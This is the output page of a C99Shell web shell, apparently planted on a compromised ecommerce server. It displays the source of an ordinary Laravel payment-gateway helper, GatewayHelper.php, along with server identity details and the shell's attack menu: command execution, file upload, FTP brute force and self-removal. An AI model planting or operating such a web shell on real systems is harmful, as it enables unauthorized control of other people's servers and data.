!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/Gateway/Services/   drwxr-xr-x
Free 26.3 GB of 117.98 GB (22.29%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     GatewayHelper.php (3.45 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * @package GatewayHelper
 * @author TechVillage <support@techvill.org>
 * @contributor Muhammad AR Zihad <[zihad.techvill@gmail.com]>
 * @created 09/02/2022
 */


namespace Modules\Gateway\Services;

use 
Modules\Gateway\Entities\Gateway;
use 
Modules\Gateway\Entities\PaymentLog;

class 
GatewayHelper
{

    public static 
$instance;


    public static function 
getInstance()
    {
        if (
self::$instance == null) {
            
self::$instance = new GatewayHelper();
        }
        return 
self::$instance;
    }


    
/**
     * Set payment code
     *
     * @return mixed
     */
    
public function getPaymentCode()
    {
        
$key session('order_code') ?? request()->query->get('code') ??  null;
        if (!
$key) {
            throw new 
\Exception(__('Purchase data not found.'));
        }
        return 
techDecrypt($key);
    }

    
/**
     * Set payment code to session
     *
     * @param string $code
     */
    
public function setPaymentCode($code)
    {
        return 
session(['order_code' => techEncrypt($code)]);
    }


    
/**
     * Returns purchase data
     *
     * @return mixed
     */
    
public function getPurchaseData($key null)
    {
        if (!
$key) {
            
$key $this->getPaymentCode();
        }
        try {
            if (
config('gateway.driver') == 'session') {
                
$purchaseData session($key);
            } else {
                
$purchaseData cache('purchaseData.' $key);
            }
            if (
$purchaseData) {
                return 
unserialize($purchaseData);
            } else {
                return 
PaymentLog::where('code'$key)->first();
            }
        } catch (
\Exception $e) {
            throw new 
\Exception(__('Purchase data not found.'));
        }
    }


    
/**
     * Stores data locally
     *
     * @param string $key
     * @param \Modules\Gateway\Entities\PaymentLog $details
     */
    
public function storeDataLocally($key$details)
    {
        if (
config('gateway.driver') == 'session') {
            
session([$key => serialize($details)]);
        } else {
            
cache('purchaseData.' $keyserialize($details), 600);
        }
    }


    
/**
     * Check if the module is activated by the user
     *
     * @return boolean
     */
    
public function isModuleActive($alias)
    {
        try {
            return 
Gateway::select(['alias''status'])->firstWhere('alias'strtolower($alias))->status;
        } catch (
\Exception $e) {
            return 
false;
        }
    }


    
/**
     * Convert currency
     *
     * @param string $from (Current currency code)
     * @param string $to (Expected currency code)
     *
     * @return float
     */
    
public function convertCurrency($from$to$amount)
    {
        
/**
         *
         * convert currency
         * do your math
         *
         * this method internal mechanism may change from project to project
         *
         */

        
return $amount;
    }


    public function 
getData($key)
    {
        return 
session($key);
    }

    public function 
getPaymentStatus()
    {
        return 
$this->getData('payment_status');
    }

    public function 
getPaidGateway()
    {
        return 
$this->getData('gateway');
    }

    public function 
getPaymentLog($code)
    {
        return 
PaymentLog::firstWhere('code'$code);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0111 ]--